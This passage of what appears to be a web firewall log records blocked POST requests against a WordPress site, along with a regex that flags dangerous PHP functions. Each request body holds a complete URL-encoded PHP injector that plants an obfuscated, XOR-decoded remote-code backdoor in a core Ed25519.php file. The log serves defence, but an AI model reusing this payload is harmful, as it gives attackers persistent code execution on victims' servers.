3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-mobile:?0\nupgrade-insecure-requests:1\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4051\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH0pvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept:*\/*\n\nSG=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Ed25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%2529%2529%257B%2520%2524hld%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%253B%2520%2524k%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524w%253D0%253B%2520%2524w%253Cstrlen%2528%2524fac%2529%253B%2520%2524w%252B%252B%2529%257B%2524k%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524w%255D%2529%2520%255E%252042%2529%253B%257D%2520%2524token%2520%253D%25200%253B%2520do%2520%257B%2520%2524flag%2520%253D%2520%2524hld%255B%2524token%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524token%2520%253E%253D%2520count%2528%2524hld%2529%2529%2520break%253B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524elem%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524flag%252C%2520%2522.record%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524k%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524token%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:41:01","203.190.11.3","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Ox:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Ed25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%2529%2529%257B%2520%2524hld%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%253B%2520%2524k%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524w%253D0%253B%2520%2524w%253Cstrlen%2528%2524fac%2529%253B%2520%2524w%252B%252B%2529%257B%2524k%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524w%255D%2529%2520%255E%252042%2529%253B%257D%2520%2524token%2520%253D%25200%253B%2520do%2520%257B%2520%2524flag%2520%253D%2520%2524hld%255B%2524token%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524token%2520%253E%253D%2520count%2528%2524hld%2529%2529%2520break%253B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524elem%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524flag%252C%2520%2522.record%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524k%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524token%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvG3tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4051\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\n\nOx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Ed25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%2529%2529%257B%2520%2524hld%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%253B%2520%2524k%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524w%253D0%253B%2520%2524w%253Cstrlen%2528%2524fac%2529%253B%2520%2524w%252B%252B%2529%257B%2524k%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524w%255D%2529%2520%255E%252042%2529%253B%257D%2520%2524token%2520%253D%25200%253B%2520do%2520%257B%2520%2524flag%2520%253D%2520%2524hld%255B%2524token%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524token%2520%253E%253D%2520count%2528%2524hld%2529%2529%2520break%253B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524elem%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524flag%252C%2520%2522.record%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524k%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524token%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:41:12","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> AR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Ed25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%2529%2529%257B%2520%2524hld%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%253B%2520%2524k%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524w%253D0%253B%2520%2524w%253Cstrlen%2528%2524fac%2529%253B%2520%2524w%252B%252B%2529%257B%2524k%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524w%255D%2529%2520%255E%252042%2529%253B%257D%2520%2524token%2520%253D%25200%253B%2520do%2520%257B%2520%2524flag%2520%253D%2520%2524hld%255B%2524token%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524token%2520%253E%253D%2520count%2528%2524hld%2529%2529%2520break%253B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524elem%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524flag%252C%2520%2522.record%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524k%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524token%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDIVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4051\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\n\nAR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Ed25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%2529%2529%257B%2520%2524hld%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%253B%2520%2524k%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524w%253D0%253B%2520%2524w%253Cstrlen%2528%2524fac%2529%253B%2520%2524w%252B%252B%2529%257B%2524k%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524w%255D%2529%2520%255E%252042%2529%253B%257D%2520%2524token%2520%253D%25200%253B%2520do%2520%257B%2520%2524flag%2520%253D%2520%2524hld%255B%2524token%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524token%2520%253E%253D%2520count%2528%2524hld%2529%2529%2520break%253B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524elem%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524flag%252C%2520%2522.record%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524k%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524token%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 18:41:35","113.22.137.197","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Pm:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Ed25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528filter_has_var%2528INPUT_POST%252C%2520%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%2529%2529%257B%2520%2524hld%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520%2522\/tmp%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520%2524fac%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522r%255Cx65f%255Cx65%255Cx72%255Cx65nce%2522%255D%2529%253B%2520%2524k%2520%253D%2520%2527%2527%2520%253B%2520for%2528%2524w%253D0%253B%2520%2524w%253Cstrlen%2528%2524fac%2529%253B%2520%2524w%252B%252B%2529%257B%2524k%2520.%253D%2520chr%2528ord%2528%2524fac%255B%2524w%255D%2529%2520%255E%252042%2529%253B%257D%2520%2524token%2520%253D%25200%253B%2520do%2520%257B%2520%2524flag%2520%253D%2520%2524hld%255B%2524token%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524token%2520%253E%253D%2520count%2528%2524hld%2529%2529%2520break%253B%2520if%2520%2528is_writable%2528%2524flag%2529%2520%2526%2526%2520is_dir%2528%2524flag%2529%2529%2520%257B%2520%2524elem%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524flag%252C%2520%2522.record%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524elem%252C%2520%2524k%2529%2529%2520%257B%2520include%2520%2524elem%253B%2520%2540unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%2524token%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHT0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google 